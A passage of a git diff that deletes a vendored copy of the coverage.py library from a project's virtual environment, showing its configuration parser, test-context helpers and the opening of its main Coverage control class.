https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Config file for coverage.py""" - -from __future__ import annotations - -import collections -import configparser -import copy -import os -import os.path -import re - -from typing import ( - Any, Callable, Final, Mapping, Union, -) -from collections.abc import Iterable - -from coverage.exceptions import ConfigError -from coverage.misc import isolate_module, human_sorted_items, substitute_variables -from coverage.tomlconfig import TomlConfigParser, TomlDecodeError -from coverage.types import ( - TConfigurable, TConfigSectionIn, TConfigValueIn, TConfigSectionOut, - TConfigValueOut, TPluginConfig, -) - -os = isolate_module(os) - - -class HandyConfigParser(configparser.ConfigParser): - """Our specialization of ConfigParser.""" - - def __init__(self, our_file: bool) -> None: - """Create the HandyConfigParser. - - `our_file` is True if this config file is specifically for coverage, - False if we are examining another config file (tox.ini, setup.cfg) - for possible settings. - """ - - super().__init__(interpolation=None) - self.section_prefixes = ["coverage:"] - if our_file: - self.section_prefixes.append("") - - def read( # type: ignore[override] - self, - filenames: Iterable[str], - encoding_unused: str | None = None, - ) -> list[str]: - """Read a file name as UTF-8 configuration data.""" - return super().read(filenames, encoding="utf-8") - - def real_section(self, section: str) -> str | None: - """Get the actual name of a section.""" - for section_prefix in self.section_prefixes: - real_section = section_prefix + section - has = super().has_section(real_section) - if has: - return real_section - return None - - def has_option(self, section: str, option: str) -> bool: # type: ignore[override] - real_section = self.real_section(section) - if real_section is not None: - return super().has_option(real_section, option) - return False - - def has_section(self, section: str) -> bool: # type: ignore[override] - return bool(self.real_section(section)) - - def options(self, section: str) -> list[str]: # type: ignore[override] - real_section = self.real_section(section) - if real_section is not None: - return super().options(real_section) - raise ConfigError(f"No section: {section!r}") - - def get_section(self, section: str) -> TConfigSectionOut: - """Get the contents of a section, as a dictionary.""" - d: dict[str, TConfigValueOut] = {} - for opt in self.options(section): - d[opt] = self.get(section, opt) - return d - - def get(self, section: str, option: str, *args: Any, **kwargs: Any) -> str: # type: ignore - """Get a value, replacing environment variables also. - - The arguments are the same as `ConfigParser.get`, but in the found - value, ``$WORD`` or ``${WORD}`` are replaced by the value of the - environment variable ``WORD``. - - Returns the finished value. - - """ - for section_prefix in self.section_prefixes: - real_section = section_prefix + section - if super().has_option(real_section, option): - break - else: - raise ConfigError(f"No option {option!r} in section: {section!r}") - - v: str = super().get(real_section, option, *args, **kwargs) - v = substitute_variables(v, os.environ) - return v - - def getlist(self, section: str, option: str) -> list[str]: - """Read a list of strings. - - The value of `section` and `option` is treated as a comma- and newline- - separated list of strings. Each value is stripped of white space. - - Returns the list of strings. - - """ - value_list = self.get(section, option) - values = [] - for value_line in value_list.split("\n"): - for value in value_line.split(","): - value = value.strip() - if value: - values.append(value) - return values - - def getregexlist(self, section: str, option: str) -> list[str]: - """Read a list of full-line regexes. - - The value of `section` and `option` is treated as a newline-separated - list of regexes. Each value is stripped of white space. - - Returns the list of strings. - - """ - line_list = self.get(section, option) - value_list = [] - for value in line_list.splitlines(): - value = value.strip() - try: - re.compile(value) - except re.error as e: - raise ConfigError( - f"Invalid [{section}].{option} value {value!r}: {e}", - ) from e - if value: - value_list.append(value) - return value_list - - -TConfigParser = Union[HandyConfigParser, TomlConfigParser] - - -# The default line exclusion regexes. -DEFAULT_EXCLUDE = [ - r"#\s*(pragma|PRAGMA)[:\s]?\s*(no|NO)\s*(cover|COVER)", -] - -# The default partial branch regexes, to be modified by the user. -DEFAULT_PARTIAL = [ - r"#\s*(pragma|PRAGMA)[:\s]?\s*(no|NO)\s*(branch|BRANCH)", -] - -# The default partial branch regexes, based on Python semantics. -# These are any Python branching constructs that can't actually execute all -# their branches. -DEFAULT_PARTIAL_ALWAYS = [ - "while (True|1|False|0):", - "if (True|1|False|0):", -] - - -class CoverageConfig(TConfigurable, TPluginConfig): - """Coverage.py configuration. - - The attributes of this class are the various settings that control the - operation of coverage.py. - - """ - # pylint: disable=too-many-instance-attributes - - def __init__(self) -> None: - """Initialize the configuration attributes to their defaults.""" - # Metadata about the config. - # We tried to read these config files. - self.config_files_attempted: list[str] = [] - # We did read these config files, but maybe didn't find any content for us. - self.config_files_read: list[str] = [] - # The file that gave us our configuration. - self.config_file: str | None = None - self._config_contents: bytes | None = None - - # Defaults for [run] and [report] - self._include = None - self._omit = None - - # Defaults for [run] - self.branch = False - self.command_line: str | None = None - self.concurrency: list[str] = [] - self.context: str | None = None - self.core: str | None = None - self.cover_pylib = False - self.data_file = ".coverage" - self.debug: list[str] = [] - self.debug_file: str | None = None - self.disable_warnings: list[str] = [] - self.dynamic_context: str | None = None - self.parallel = False - self.plugins: list[str] = [] - self.relative_files = False - self.run_include: list[str] = [] - self.run_omit: list[str] = [] - self.sigterm = False - self.source: list[str] | None = None - self.source_pkgs: list[str] = [] - self.source_dirs: list[str] = [] - self.timid = False - self._crash: str | None = None - - # Defaults for [report] - self.exclude_list = DEFAULT_EXCLUDE[:] - self.exclude_also: list[str] = [] - self.fail_under = 0.0 - self.format: str | None = None - self.ignore_errors = False - self.include_namespace_packages = False - self.report_include: list[str] | None = None - self.report_omit: list[str] | None = None - self.partial_always_list = DEFAULT_PARTIAL_ALWAYS[:] - self.partial_list = DEFAULT_PARTIAL[:] - self.precision = 0 - self.report_contexts: list[str] | None = None - self.show_missing = False - self.skip_covered = False - self.skip_empty = False - self.sort: str | None = None - - # Defaults for [html] - self.extra_css: str | None = None - self.html_dir = "htmlcov" - self.html_skip_covered: bool | None = None - self.html_skip_empty: bool | None = None - self.html_title = "Coverage report" - self.show_contexts = False - - # Defaults for [xml] - self.xml_output = "coverage.xml" - self.xml_package_depth = 99 - - # Defaults for [json] - self.json_output = "coverage.json" - self.json_pretty_print = False - self.json_show_contexts = False - - # Defaults for [lcov] - self.lcov_output = "coverage.lcov" - self.lcov_line_checksums = False - - # Defaults for [paths] - self.paths: dict[str, list[str]] = {} - - # Options for plugins - self.plugin_options: dict[str, TConfigSectionOut] = {} - - MUST_BE_LIST = { - "debug", "concurrency", "plugins", - "report_omit", "report_include", - "run_omit", "run_include", - } - - def from_args(self, **kwargs: TConfigValueIn) -> None: - """Read config values from `kwargs`.""" - for k, v in kwargs.items(): - if v is not None: - if k in self.MUST_BE_LIST and isinstance(v, str): - v = [v] - setattr(self, k, v) - - def from_file(self, filename: str, warn: Callable[[str], None], our_file: bool) -> bool: - """Read configuration from a .rc file. - - `filename` is a file name to read. - - `our_file` is True if this config file is specifically for coverage, - False if we are examining another config file (tox.ini, setup.cfg) - for possible settings. - - Returns True or False, whether the file could be read, and it had some - coverage.py settings in it. - - """ - _, ext = os.path.splitext(filename) - cp: TConfigParser - if ext == ".toml": - cp = TomlConfigParser(our_file) - else: - cp = HandyConfigParser(our_file) - - self.config_files_attempted.append(os.path.abspath(filename)) - - try: - files_read = cp.read(filename) - except (configparser.Error, TomlDecodeError) as err: - raise ConfigError(f"Couldn't read config file {filename}: {err}") from err - if not files_read: - return False - - self.config_files_read.extend(map(os.path.abspath, files_read)) - - any_set = False - try: - for option_spec in self.CONFIG_FILE_OPTIONS: - was_set = self._set_attr_from_config_option(cp, *option_spec) - if was_set: - any_set = True - except ValueError as err: - raise ConfigError(f"Couldn't read config file {filename}: {err}") from err - - # Check that there are no unrecognized options. - all_options = collections.defaultdict(set) - for option_spec in self.CONFIG_FILE_OPTIONS: - section, option = option_spec[1].split(":") - all_options[section].add(option) - - for section, options in all_options.items(): - real_section = cp.real_section(section) - if real_section: - for unknown in set(cp.options(section)) - options: - warn( - "Unrecognized option '[{}] {}=' in config file {}".format( - real_section, unknown, filename, - ), - ) - - # [paths] is special - if cp.has_section("paths"): - for option in cp.options("paths"): - self.paths[option] = cp.getlist("paths", option) - any_set = True - - # plugins can have options - for plugin in self.plugins: - if cp.has_section(plugin): - self.plugin_options[plugin] = cp.get_section(plugin) - any_set = True - - # Was this file used as a config file? If it's specifically our file, - # then it was used. If we're piggybacking on someone else's file, - # then it was only used if we found some settings in it. - if our_file: - used = True - else: - used = any_set - - if used: - self.config_file = os.path.abspath(filename) - with open(filename, "rb") as f: - self._config_contents = f.read() - - return used - - def copy(self) -> CoverageConfig: - """Return a copy of the configuration.""" - return copy.deepcopy(self) - - CONCURRENCY_CHOICES: Final[set[str]] = { - "thread", "gevent", "greenlet", "eventlet", "multiprocessing" - } - - CONFIG_FILE_OPTIONS = [ - # These are *args for _set_attr_from_config_option: - # (attr, where, type_="") - # - # attr is the attribute to set on the CoverageConfig object. - # where is the section:name to read from the configuration file. - # type_ is the optional type to apply, by using .getTYPE to read the - # configuration value from the file. - - # [run] - ("branch", "run:branch", "boolean"), - ("command_line", "run:command_line"), - ("concurrency", "run:concurrency", "list"), - ("context", "run:context"), - ("core", "run:core"), - ("cover_pylib", "run:cover_pylib", "boolean"), - ("data_file", "run:data_file"), - ("debug", "run:debug", "list"), - ("debug_file", "run:debug_file"), - ("disable_warnings", "run:disable_warnings", "list"), - ("dynamic_context", "run:dynamic_context"), - ("parallel", "run:parallel", "boolean"), - ("plugins", "run:plugins", "list"), - ("relative_files", "run:relative_files", "boolean"), - ("run_include", "run:include", "list"), - ("run_omit", "run:omit", "list"), - ("sigterm", "run:sigterm", "boolean"), - ("source", "run:source", "list"), - ("source_pkgs", "run:source_pkgs", "list"), - ("source_dirs", "run:source_dirs", "list"), - ("timid", "run:timid", "boolean"), - ("_crash", "run:_crash"), - - # [report] - ("exclude_list", "report:exclude_lines", "regexlist"), - ("exclude_also", "report:exclude_also", "regexlist"), - ("fail_under", "report:fail_under", "float"), - ("format", "report:format"), - ("ignore_errors", "report:ignore_errors", "boolean"), - ("include_namespace_packages", "report:include_namespace_packages", "boolean"), - ("partial_always_list", "report:partial_branches_always", "regexlist"), - ("partial_list", "report:partial_branches", "regexlist"), - ("precision", "report:precision", "int"), - ("report_contexts", "report:contexts", "list"), - ("report_include", "report:include", "list"), - ("report_omit", "report:omit", "list"), - ("show_missing", "report:show_missing", "boolean"), - ("skip_covered", "report:skip_covered", "boolean"), - ("skip_empty", "report:skip_empty", "boolean"), - ("sort", "report:sort"), - - # [html] - ("extra_css", "html:extra_css"), - ("html_dir", "html:directory"), - ("html_skip_covered", "html:skip_covered", "boolean"), - ("html_skip_empty", "html:skip_empty", "boolean"), - ("html_title", "html:title"), - ("show_contexts", "html:show_contexts", "boolean"), - - # [xml] - ("xml_output", "xml:output"), - ("xml_package_depth", "xml:package_depth", "int"), - - # [json] - ("json_output", "json:output"), - ("json_pretty_print", "json:pretty_print", "boolean"), - ("json_show_contexts", "json:show_contexts", "boolean"), - - # [lcov] - ("lcov_output", "lcov:output"), - ("lcov_line_checksums", "lcov:line_checksums", "boolean") - ] - - def _set_attr_from_config_option( - self, - cp: TConfigParser, - attr: str, - where: str, - type_: str = "", - ) -> bool: - """Set an attribute on self if it exists in the ConfigParser. - - Returns True if the attribute was set. - - """ - section, option = where.split(":") - if cp.has_option(section, option): - method = getattr(cp, f"get{type_}") - setattr(self, attr, method(section, option)) - return True - return False - - def get_plugin_options(self, plugin: str) -> TConfigSectionOut: - """Get a dictionary of options for the plugin named `plugin`.""" - return self.plugin_options.get(plugin, {}) - - def set_option(self, option_name: str, value: TConfigValueIn | TConfigSectionIn) -> None: - """Set an option in the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with `"run:branch"`. - - `value` is the new value for the option. - - """ - # Special-cased options. - if option_name == "paths": - # This is ugly, but type-checks and ensures the values are close - # to right. - self.paths = {} - assert isinstance(value, Mapping) - for k, v in value.items(): - assert isinstance(v, Iterable) - self.paths[k] = list(v) - return - - # Check all the hard-coded options. - for option_spec in self.CONFIG_FILE_OPTIONS: - attr, where = option_spec[:2] - if where == option_name: - setattr(self, attr, value) - return - - # See if it's a plugin option. - plugin_name, _, key = option_name.partition(":") - if key and plugin_name in self.plugins: - self.plugin_options.setdefault(plugin_name, {})[key] = value # type: ignore[index] - return - - # If we get here, we didn't find the option. - raise ConfigError(f"No such option: {option_name!r}") - - def get_option(self, option_name: str) -> TConfigValueOut | None: - """Get an option from the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with `"run:branch"`. - - Returns the value of the option. - - """ - # Special-cased options. - if option_name == "paths": - return self.paths - - # Check all the hard-coded options. - for option_spec in self.CONFIG_FILE_OPTIONS: - attr, where = option_spec[:2] - if where == option_name: - return getattr(self, attr) # type: ignore[no-any-return] - - # See if it's a plugin option. - plugin_name, _, key = option_name.partition(":") - if key and plugin_name in self.plugins: - return self.plugin_options.get(plugin_name, {}).get(key) - - # If we get here, we didn't find the option. - raise ConfigError(f"No such option: {option_name!r}") - - def post_process_file(self, path: str) -> str: - """Make final adjustments to a file path to make it usable.""" - return os.path.expanduser(path) - - def post_process(self) -> None: - """Make final adjustments to settings to make them usable.""" - self.data_file = self.post_process_file(self.data_file) - self.html_dir = self.post_process_file(self.html_dir) - self.xml_output = self.post_process_file(self.xml_output) - self.paths = { - k: [self.post_process_file(f) for f in v] - for k, v in self.paths.items() - } - self.exclude_list += self.exclude_also - - def debug_info(self) -> list[tuple[str, Any]]: - """Make a list of (name, value) pairs for writing debug info.""" - return human_sorted_items( - (k, v) for k, v in self.__dict__.items() if not k.startswith("_") - ) - - -def config_files_to_try(config_file: bool | str) -> list[tuple[str, bool, bool]]: - """What config files should we try to read? - - Returns a list of tuples: - (filename, is_our_file, was_file_specified) - """ - - # Some API users were specifying ".coveragerc" to mean the same as - # True, so make it so. - if config_file == ".coveragerc": - config_file = True - specified_file = (config_file is not True) - if not specified_file: - # No file was specified. Check COVERAGE_RCFILE. - rcfile = os.getenv("COVERAGE_RCFILE") - if rcfile: - config_file = rcfile - specified_file = True - if not specified_file: - # Still no file specified. Default to .coveragerc - config_file = ".coveragerc" - assert isinstance(config_file, str) - files_to_try = [ - (config_file, True, specified_file), - ("setup.cfg", False, False), - ("tox.ini", False, False), - ("pyproject.toml", False, False), - ] - return files_to_try - - -def read_coverage_config( - config_file: bool | str, - warn: Callable[[str], None], - **kwargs: TConfigValueIn, -) -> CoverageConfig: - """Read the coverage.py configuration. - - Arguments: - config_file: a boolean or string, see the `Coverage` class for the - tricky details. - warn: a function to issue warnings. - all others: keyword arguments from the `Coverage` class, used for - setting values in the configuration. - - Returns: - config: - config is a CoverageConfig object read from the appropriate - configuration file. - - """ - # Build the configuration from a number of sources: - # 1) defaults: - config = CoverageConfig() - - # 2) from a file: - if config_file: - files_to_try = config_files_to_try(config_file) - - for fname, our_file, specified_file in files_to_try: - config_read = config.from_file(fname, warn, our_file=our_file) - if config_read: - break - if specified_file: - raise ConfigError(f"Couldn't read {fname!r} as a config file") - - # 3) from environment variables: - env_data_file = os.getenv("COVERAGE_FILE") - if env_data_file: - config.data_file = env_data_file - - # $set_env.py: COVERAGE_DEBUG - Debug options: https://coverage.rtfd.io/cmd.html#debug - debugs = os.getenv("COVERAGE_DEBUG") - if debugs: - config.debug.extend(d.strip() for d in debugs.split(",")) - - # Read the COVERAGE_CORE environment variable for backward compatibility, - # and because we use it in the test suite to pick a specific core. - env_core = os.getenv("COVERAGE_CORE") - if env_core: - config.core = env_core - - # 4) from constructor arguments: - config.from_args(**kwargs) - - # 5) for our benchmark, force settings using a secret environment variable: - force_file = os.getenv("COVERAGE_FORCE_CONFIG") - if force_file: - config.from_file(force_file, warn, our_file=True) - - # Once all the config has been collected, there's a little post-processing - # to do. - config.post_process() - - return config diff --git a/backend/venv/Lib/site-packages/coverage/context.py b/backend/venv/Lib/site-packages/coverage/context.py deleted file mode 100644 index 2921372a..00000000 --- a/backend/venv/Lib/site-packages/coverage/context.py +++ /dev/null @@ -1,74 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Determine contexts for coverage.py""" - -from __future__ import annotations - -from types import FrameType -from collections.abc import Sequence - -from coverage.types import TShouldStartContextFn - - -def combine_context_switchers( - context_switchers: Sequence[TShouldStartContextFn], -) -> TShouldStartContextFn | None: - """Create a single context switcher from multiple switchers. - - `context_switchers` is a list of functions that take a frame as an - argument and return a string to use as the new context label. - - Returns a function that composites `context_switchers` functions, or None - if `context_switchers` is an empty list. - - When invoked, the combined switcher calls `context_switchers` one-by-one - until a string is returned. The combined switcher returns None if all - `context_switchers` return None. - """ - if not context_switchers: - return None - - if len(context_switchers) == 1: - return context_switchers[0] - - def should_start_context(frame: FrameType) -> str | None: - """The combiner for multiple context switchers.""" - for switcher in context_switchers: - new_context = switcher(frame) - if new_context is not None: - return new_context - return None - - return should_start_context - - -def should_start_context_test_function(frame: FrameType) -> str | None: - """Is this frame calling a test_* function?""" - co_name = frame.f_code.co_name - if co_name.startswith("test") or co_name == "runTest": - return qualname_from_frame(frame) - return None - - -def qualname_from_frame(frame: FrameType) -> str | None: - """Get a qualified name for the code running in `frame`.""" - co = frame.f_code - fname = co.co_name - method = None - if co.co_argcount and co.co_varnames[0] == "self": - self = frame.f_locals.get("self", None) - method = getattr(self, fname, None) - - if method is None: - func = frame.f_globals.get(fname) - if func is None: - return None - return f"{func.__module__}.{fname}" - - func = getattr(method, "__func__", None) - if func is None: - cls = self.__class__ - return f"{cls.__module__}.{cls.__name__}.{fname}" - - return f"{func.__module__}.{func.__qualname__}" diff --git a/backend/venv/Lib/site-packages/coverage/control.py b/backend/venv/Lib/site-packages/coverage/control.py deleted file mode 100644 index baa66c80..00000000 --- a/backend/venv/Lib/site-packages/coverage/control.py +++ /dev/null @@ -1,1441 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Central control stuff for coverage.py.""" - -from __future__ import annotations - -import atexit -import collections -import contextlib -import functools -import os -import os.path -import platform -import signal -import sys -import threading -import time -import warnings - -from types import FrameType -from typing import cast, Any, Callable, IO, Union -from collections.abc import Iterable, Iterator - -from coverage import env -from coverage.annotate import AnnotateReporter -from coverage.collector import Collector -from coverage.config import CoverageConfig, read_coverage_config -from coverage.context import should_start_context_test_function, combine_context_switchers -from coverage.core import Core, CTRACER_FILE -from coverage.data import CoverageData, combine_parallel_data -from coverage.debug import ( - DebugControl, NoDebugging, short_stack, write_formatted_info, relevant_environment_display, -) -from coverage.disposition import disposition_debug_msg -from coverage.exceptions import ConfigError, CoverageException, CoverageWarning, PluginError -from coverage.files import PathAliases, abs_file, relative_filename, set_relative_directory -from coverage.html import HtmlReporter -from coverage.inorout import InOrOut -from coverage.jsonreport import JsonReporter -from coverage.lcovreport import LcovReporter -from coverage.misc import bool_or_none, join_regex -from coverage.misc import DefaultValue, ensure_dir_for_file, isolate_module -from coverage.multiproc import patch_multiprocessing -from coverage.plugin import FileReporter -from coverage.plugin_support import Plugins, TCoverageInit -from coverage.python import PythonFileReporter -from coverage.report import SummaryReporter -from coverage.report_core import render_report -from coverage.results import Analysis, analysis_from_file_reporter -from coverage.types import ( - FilePath, TConfigurable, TConfigSectionIn, TConfigValueIn, TConfigValueOut, - TFileDisposition, TLineNo, TMorf -) -from coverage.xmlreport import XmlReporter - -os = isolate_module(os) - -@contextlib.contextmanager -def override_config(cov: Coverage, **kwargs: TConfigValueIn) -> Iterator[None]: - """Temporarily tweak the configuration of `cov`. - - The arguments are applied to `cov.config` with the `from_args` method. - At the end of the with-statement, the old configuration is restored. - """ - original_config = cov.config - cov.config = cov.config.copy() - try: - cov.config.from_args(**kwargs) - yield - finally: - cov.config = original_config - - -DEFAULT_DATAFILE = DefaultValue("MISSING") -_DEFAULT_DATAFILE = DEFAULT_DATAFILE # Just in case, for backwards compatibility - -class Coverage(TConfigurable): - """Programmatic access to coverage.py. - - To use:: - - from coverage import Coverage - - cov = Coverage() - cov.start() - #.. call your code .. - cov.stop() - cov.html_report(directory="covhtml") - - A context manager is available to do the same thing:: - - cov = Coverage() - with cov.collect(): - #.. call your code .. - cov.html_report(directory="covhtml") - - Note: in keeping with Python custom, names starting with underscore are - not part of the public API. They might stop working at any point. Please - limit yourself to documented methods to avoid problems. - - Methods can raise any of the exceptions described in :ref:`api_exceptions`. - - """ - - # The stack of started Coverage instances. - _instances: list[Coverage] = [] - - @classmethod - def current(cls) -> Coverage | None: - """Get the latest started `Coverage` instance, if any. - - Returns: a `Coverage` instance, or None. - - .. versionadded:: 5.0 - - """ - if cls._instances: - return cls._instances[-1] - else: - return None - - def __init__( # pylint: disable=too-many-arguments - self, - data_file: FilePath | DefaultValue | None = DEFAULT_DATAFILE, - data_suffix: str | bool | None = None, - cover_pylib: bool | None = None, - auto_data: bool = False, - timid: bool | None = None, - branch: bool | None = None, - config_file: FilePath | bool = True, - source: Iterable[str] | None = None, - source_pkgs: Iterable[str] | None = None, - source_dirs: Iterable[str] | None = None, - omit: str | Iterable[str] | None = None, - include: str | Iterable[str] | None = None, - debug: Iterable[str] | None = None, - concurrency: str | Iterable[str] | None = None, - check_preimported: bool = False, - context: str | None = None, - messages: bool = False, - plugins: Iterable[Callable[..., None]] | None = None, - ) -> None: - """ - Many of these arguments duplicate and override values that can be - provided in a configuration file. Parameters that are missing here - will use values from the config file. - - `data_file` is the base name of the data file to use. The config value - defaults to ".coverage". None can be provided to prevent writing a data - file. `data_suffix` is appended (with a dot) to `data_file` to create - the final file name. If `data_suffix` is simply True, then a suffix is - created with the machine and process identity included. - - `cover_pylib` is a boolean determining whether Python code installed - with the Python interpreter is measured. This includes the Python - standard library and any packages installed with the interpreter. - - If `auto_data` is true, then any existing data file will be read when - coverage measurement starts, and data will be saved automatically when - measurement stops. - - If `timid` is true, then a slower and simpler trace function will be - used. This is important for some environments where manipulation of - tracing functions breaks the faster trace function. - - If `branch` is true, then branch coverage will be measured in addition - to the usual statement coverage. - - `config_file` determines what configuration file to read: - - * If it is ".coveragerc", it is interpreted as if it were True, - for backward compatibility. - - * If it is a string, it is the name of the file to read. If the - file can't be read, it is an error. - - * If it is True, then a few standard files names are tried - (".coveragerc", "setup.cfg", "tox.ini"). It is not an error for - these files to not be found. - - * If it is False, then no configuration file is read. - - `source` is a list of file paths or package names. Only code located - in the trees indicated by the file paths or package names will be - measured. - - `source_pkgs` is a list of package names. It works the same as - `source`, but can be used to name packages where the name can also be - interpreted as a file path. - - `source_dirs` is a list of file paths. It works the same as - `source`, but raises an error if the path doesn't exist, rather - than being treated as a package name. - - `include` and `omit` are lists of file name patterns. Files that match - `include` will be measured, files that match `omit` will not. Each - will also accept a single string argument. - - `debug` is a list of strings indicating what debugging information is - desired. - - `concurrency` is a string indicating the concurrency library being used - in the measured code. Without this, coverage.py will get incorrect - results if these libraries are in use. Valid strings are "greenlet", - "eventlet", "gevent", "multiprocessing", or "thread" (the default). - This can also be a list of these strings. - - If `check_preimported` is true, then when coverage is started, the - already-imported files will be checked to see if they should be - measured by coverage. Importing measured files before coverage is - started can mean that code is missed. - - `context` is a string to use as the :ref:`static context - ` label for collected data. - - If `messages` is true, some messages will be printed to stdout - indicating what is happening. - - If `plugins` are passed, they are an iterable of function objects - accepting a `reg` object to register plugins, as described in - :ref:`api_plugin`. When they are provided, they will override the - plugins found in the coverage configuration file. - - .. versionadded:: 4.0 - The `concurrency` parameter. - - .. versionadded:: 4.2 - The `concurrency` parameter can now be a list of strings. - - .. versionadded:: 5.0 - The `check_preimported` and `context` parameters. - - .. versionadded:: 5.3 - The `source_pkgs` parameter. - - .. versionadded:: 6.0 - The `messages` parameter. - - .. versionadded:: 7.7 - The `plugins` parameter. - - .. versionadded:: 7.8 - The `source_dirs` parameter. - """ - # Start self.config as a usable default configuration. It will soon be - # replaced with the real configuration. - self.config = CoverageConfig() - - # data_file=None means no disk file at all. data_file missing means - # use the value from the config file. - self._no_disk = data_file is None - if isinstance(data_file, DefaultValue): - data_file = None - if data_file is not None: - data_file = os.fspath(data_file) - - # This is injectable by tests. - self._debug_file: IO[str] | None = None - - self._auto_load = self._auto_save = auto_data - self._data_suffix_specified = data_suffix - - # Is it ok for no data to be collected? - self._warn_no_data = True - self._warn_unimported_source = True - self._warn_preimported_source = check_preimported - self._no_warn_slugs: set[str] = set() - self._messages = messages - - # A record of all the warnings that have been issued. - self._warnings: list[str] = [] - - # Other instance attributes, set with placebos or placeholders. - # More useful objects will be created later. - self._debug: DebugControl = NoDebugging() - self._inorout: InOrOut | None = None - self._plugins: Plugins = Plugins() - self._plugin_override = cast(Union[Iterable[TCoverageInit], None], plugins) - self._data: CoverageData | None = None - self._core: Core | None = None - self._collector: Collector | None = None - self._metacov = False - - self._file_mapper: Callable[[str], str] = abs_file - self._data_suffix = self._run_suffix = None - self._exclude_re: dict[str, str] = {} - self._old_sigterm: Callable[[int, FrameType | None], Any] | None = None - - # State machine variables: - # Have we initialized everything? - self._inited = False - self._inited_for_start = False - # Have we started collecting and not stopped it? - self._started = False - # Should we write the debug output? - self._should_write_debug = True - - # Build our configuration from a number of sources. - if not isinstance(config_file, bool): - config_file = os.fspath(config_file) - self.config = read_coverage_config( - config_file=config_file, - warn=self._warn, - data_file=data_file, - cover_pylib=cover_pylib, - timid=timid, - branch=branch, - parallel=bool_or_none(data_suffix), - source=source, - source_pkgs=source_pkgs, - source_dirs=source_dirs, - run_omit=omit, - run_include=include, - debug=debug, - report_omit=omit, - report_include=include, - concurrency=concurrency, - context=context, - ) - - # If we have subprocess measurement happening automatically, then we - # want any explicit creation of a Coverage object to mean, this process - # is already coverage-aware, so don't auto-measure it. By now, the - # auto-creation of a Coverage object has already happened. But we can - # find it and tell it not to save its data. - if not env.METACOV: - _prevent_sub_process_measurement() - - def _init(self) -> None: - """Set all the initial state. - - This is called by the public methods to initialize state. This lets us - construct a :class:`Coverage` object, then tweak its state before this - function is called. - - """ - if self._inited: - return - - self._inited = True - - # Create and configure the debugging controller. - self._debug = DebugControl(self.config.debug, self._debug_file, self.config.debug_file) - if self._debug.should("process"): - self._debug.write("Coverage._init") - - if "multiprocessing" in (self.config.concurrency or ()): - # Multi-processing uses parallel for the subprocesses, so also use - # it for the main process. - self.config.parallel = True - - # _exclude_re is a dict that maps exclusion list names to compiled regexes. - self._exclude_re = {} - - set_relative_directory() - if self.config.relative_files: - self._file_mapper = relative_filename - - # Load plugins - self._plugins = Plugins(self._debug) - if self._plugin_override: - self._plugins.load_from_callables(self._plugin_override) - else: - self._plugins.load_from_config(self.config.plugins, self.config) - - # Run configuring plugins. - for plugin in self._plugins.configurers: - # We need an object with set_option and get_option. Either self or - # self.config will do. Choosing randomly stops people from doing - # other things with those objects, against the public API. Yes, - # this is a bit childish. :) - plugin.configure([self, self.config][int(time.time()) % 2]) - - def _post_init(self) -> None: - """Stuff to do after everything is initialized.""" - if self._should_write_debug: - self._should_write_debug = False - self._write_startup_debug() - - # "[run] _crash" will raise an exception if the value is close by in - # the call stack, for testing error handling. - if self.config._crash and self.config._crash in short_stack(): - raise RuntimeError(f"Crashing because called by {self.config._crash}") - - def _write_startup_debug(self) -> None: - """Write out debug info at startup if needed.""" - wrote_any = False - with self._debug.without_callers(): - if self._debug.should("config"): - config_info = self.config.debug_info() - write_formatted_info(self._debug.write, "config", config_info) - wrote_any = True - - if self._debug.should("sys"): - write_formatted_info(self._debug.write, "sys", self.sys_info()) - for plugin in self._plugins: - header = "sys: " + plugin._coverage_plugin_name - info = plugin.sys_info() - write_formatted_info(self._debug.write, header, info) - wrote_any = True - - if self._debug.should("pybehave"): - write_formatted_info(self._debug.write, "pybehave", env.debug_info()) - wrote_any = True - - if wrote_any: - write_formatted_info(self._debug.write, "end", ()) - - def _should_trace(self, filename: str, frame: FrameType) -> TFileDisposition: - """Decide whether to trace execution in `filename`. - - Calls `_should_trace_internal`, and returns the FileDisposition. - - """ - assert self._inorout is not None - disp = self._inorout.should_trace(filename, frame) - if self._debug.should("trace"): - self._debug.write(disposition_debug_msg(disp)) - return disp - - def _check_include_omit_etc(self, filename: str, frame: FrameType) -> bool: - """Check a file name against the include/omit/etc, rules, verbosely. - - Returns a boolean: True if the file should be traced, False if not. - - """ - assert self._inorout is not None - reason = self._inorout.check_include_omit_etc(filename, frame) - if self._debug.should("trace"): - if not reason: - msg = f"Including {filename!r}" - else: - msg = f"Not including {filename!r}: {reason}" - self._debug.write(msg) - - return not reason - - def _warn(self, msg: str, slug: str | None = None, once: bool = False) -> None: - """Use `msg` as a warning. - - For warning suppression, use `slug` as the shorthand. - - If `once` is true, only show this warning once (determined by the - slug.) - - """ - if not self._no_warn_slugs: - self._no_warn_slugs = set(self.config.disable_warnings) - - if slug in self._no_warn_slugs: - # Don't issue the warning - return - - self._warnings.append(msg) - if slug: - msg = f"{msg} ({slug})" - if self._debug.should("pid"): - msg = f"[{os.getpid()}] {msg}" - warnings.warn(msg, category=CoverageWarning, stacklevel=2) - - if once: - assert slug is not None - self._no_warn_slugs.add(slug) - - def _message(self, msg: str) -> None: - """Write a message to the user, if configured to do so.""" - if self._messages: - print(msg) - - def get_option(self, option_name: str) -> TConfigValueOut | None: - """Get an option from the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with `"run:branch"`. - - Returns the value of the option. The type depends on the option - selected. - - As a special case, an `option_name` of ``"paths"`` will return an - dictionary with the entire ``[paths]`` section value. - - .. versionadded:: 4.0 - - """ - return self.config.get_option(option_name) - - def set_option(self, option_name: str, value: TConfigValueIn | TConfigSectionIn) -> None: - """Set an option in the configuration. - - `option_name` is a colon-separated string indicating the section and - option name. For example, the ``branch`` option in the ``[run]`` - section of the config file would be indicated with ``"run:branch"``. - - `value` is the new value for the option. This should be an - appropriate Python value. For example, use True for booleans, not the - string ``"True"``. - - As an example, calling: - - .. code-block:: python - - cov.set_option("run:branch", True) - - has the same effect as this configuration file: - - .. code-block:: ini - - [run] - 